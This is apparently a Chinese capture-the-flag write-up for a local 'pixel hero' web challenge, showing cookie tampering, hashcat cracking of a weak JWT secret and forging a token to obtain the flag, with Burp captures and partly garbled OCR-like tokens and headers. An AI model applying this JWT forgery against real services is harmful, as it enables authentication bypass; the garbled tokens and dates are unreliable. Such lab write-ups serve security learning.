

# 像素勇者和神秘宝藏

## 背景故事：

你是一位像素世界的勇者，听说在古老的“Flag神殿”中藏有一件神秘宝藏。但神殿被三道魔法门封锁，每道门都需要特定的“勇气值”才能打开。而你的初始勇气值只有 0.....



一开始有三个门

咱们先打开A门看看

这里可以手点也可以直接修改，我这里就直接修改了



说明我们得继续走第二个门



这里提示你不是vip勇者，说明这里有个身份校验，抓包看看

Request	Response
<pre>Pretty Raw Hex 1 POST /enter HTTP/1.1 2 Host: 127.0.0.1:5000 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 4 Accept: /* 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Encoding: gzip, deflate, br 7 Referer: http://127.0.0.1:5000/ 8 Content-Type: application/x-www-form-urlencoded 9 Content-Length: 16 10 Origin: http://127.0.0.1:5000 11 Connect-Keep-Alive 12 Cookie: role=vip; token= eyJhbGciOiJIUzI1NiIsInRcClIpkXWCJ9.eyJpcVYijoicGxheWVyIiwidXNlZCI6ZmFsc2UsImV4cC1eHTc2NDU3OTYyMn0.S7X0z6q_Iy6w67rx0bIFjtgCqIDK8qy7S4goj-GzPaA 13 Sec-Fetch-Dest: empty 14 Sec-Fetch-Mode: cors 15 Sec-Fetch-Site: same-origin 16 Priority: u=0 17 18 door=B&amp; courage=0</pre>	<pre>Pretty Raw Hex Render 1 HTTP/1.1 200 OK 2 Server: Werkzeug/3.1.4 Python/3.13.3 3 Date: Mon, 01 Dec 2025 12:50:44 GMT 4 Content-Type: application/json 5 Content-Length: 99 6 Connection: close 7 8 {     "msg": "VIP \u901a\u9053\u7545\u901a\u75f7\u4e0e\u85cf\u4ecd\u88ab\u5c01\u5370\u2026" } 9</pre>

得到一串unicode

VIP \u901a\u9053\u7545\u901a\u75f7\u4e0e\u85cf\u4ecd\u88ab\u5c01\u5370\u2026

模式: Unicode 默认模式 \u[0-9a-f]{4}  编码忽略 Ascii 字符

编码成 Unicode

解码成 中文

↔ 交换

清空

VIP 通道畅通！但宝藏仍被封印.....

还得看第三个门



令牌？ 联想jwt伪造

把token复制下来，然后解密看看

Download CyberChef ↗

Last build: A year ago

Operations 440

Search...

Favourites ★

- To Base64
- From Base64
- To Hex
- From Hex
- To Hexdump
- From Hexdump
- URL Decode
- Regular expression
- Entropy
- Fork
- Magic

Data format

Encryption / Encoding

Public Key

Recipe

From Base64

Input

Output

STEP BAKE! Auto Bake

加密算法HS256，然后有个blessed字段为false所以我们得把它伪造成true

控制台 源代码 网络 性能 内存 +

```
<!DOCTYPE html>
<html> scroll
  <head>...</head>
  <body>
    <div class="door" onclick="enter('A')"> A</div>
    <div class="door" onclick="enter('B')"> B</div> == $0
    <div class="door" onclick="enter('C')"> C</div>
  </div>
  <p>...</p>
  <script>...</script>
</body>
<div class="xl-chrome-ext-bar_4DB361DE-01F7-4376-B494-639E489D19ED" id="xl_chrome_ext_4DB361DE-01F7-4376-B494-639E489D19ED" data-v-app style="display: block;">...</div>
<!-- A:什么？？？我们是不是好兄弟，你背着我偷偷打什么比赛？？？
      B:没有啦，你要打吗，HECTF，来玩玩吧。
      A:可以啊！够兄弟的，HECTF是大写还是小写，我去搜搜。
      B:嘿嘿，这是秘密，你试试就知道啊。
      A:行吧，你真讨厌。（A默默的打开了pycharm）
    >
</html>-->
</html>
```

html body div div.door

控制台 问题 +

根据提示应该可以猜测到秘钥是hectf这五个字母，但是大小写不确定，可以生成一个字典，然后进行hashcat爆破

```
Approaching final keyspace - workload adjusted.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlc2VybjoicGxheWVyiwiYmxlc3NlZCI6ZmFsc2UsImV4cCI6MTc2NDU5OTUwMH0.b0GPtm1zkDIcmB-oHGi_BQGAQtYk-kiVwSzT-797_yw:hectf
```

可以看到爆破出来秘钥，hectf

然后我们利用这个秘钥进行伪造即可

快速掌握 JSON Web 令牌。 免费获取JWT手册 ↗

JWT 调试器 英语

请填写下方字段以生成签名的JWT。

头部：算法与令牌类型

有效头部

```
{"alg": "HS256", "typ": "JWT"}
```

有效载荷：数据

有效载荷

```
{
  "user": "player",
  "blessed": true,
  "exp": 999999999
}
```

JWT签名：秘密

按照RFC 7518规定，HS256必须使用256位或更大密钥。

hectf

编码格式 UTF-8

拿到flag

Burp Suite Community Edition v2025.10.6 - Temporary Project

Target: http://127.0.0.1:5000

Request

	Pretty	Raw	Hex
1	POST /enter HTTP/1.1		
2	Host: 127.0.0.1:5000		
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0		
4	Accept: */*		
5	Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2		
6	Accept-Encoding: gzip, deflate, br		
7	Referer: http://127.0.0.1:5000/		
8	Content-Type: application/x-www-form-urlencoded		
9	Content-Length: 16		
10	Origin: http://127.0.0.1:5000		
11	Sec-Fetch-Site: same-origin		
12	Sec-Fetch-Mode: cors		
13	Cookie: token= eyJhbGciOiJIUzI1NiIsInBhc3N3b3JkIjoiGheWVyijoicGheWVyiIiwidHlwZSI6IlJ1ZC16dHJ1Z SwIDQhwijjs0T8s5OThS0T8s4Q_xwec0QDncgBGInvPfgfStu7IIiShCpfswUtrvkIusuc[ ]		
14	Sec-Fetch-Dest: empty		
15	Sec-Fetch-Mode: cors		
16	Priority: u0		
17			
18	door@ccourage=0		

Response

	Pretty	Raw	Hex	Render
1	HTTP/1.1 200 OK			
2	Server: Werkzeug/3.1.4 Python/3.13.3			
3	Date: Mon, 06 Dec 2023 13:41:10 GMT			
4	Content-Type: application/json			
5	Content-Length: 146			
6	Connection: close			
7				
8	{ "flag": "HECTF{pix3l_h3r0_4lw4ys_van34ts_t1o_enter11_d00rs_and_F1nd_tr1asures!"} "msg": "\u0755e\u0dbbf\u4e4b\u95e0\u0af70\u7136\u5f00\u542f\uuff01" }			
9				

Inspector

Request attributes: 0

Request query parameters: 2

Request body parameters: 2

Request cookies: 2

Request headers: 15

Response headers: 5

Custom actions: 0

Done

Event log (2) All issues

312 bytes | 25 millis

Memory: 165.3MB Disabled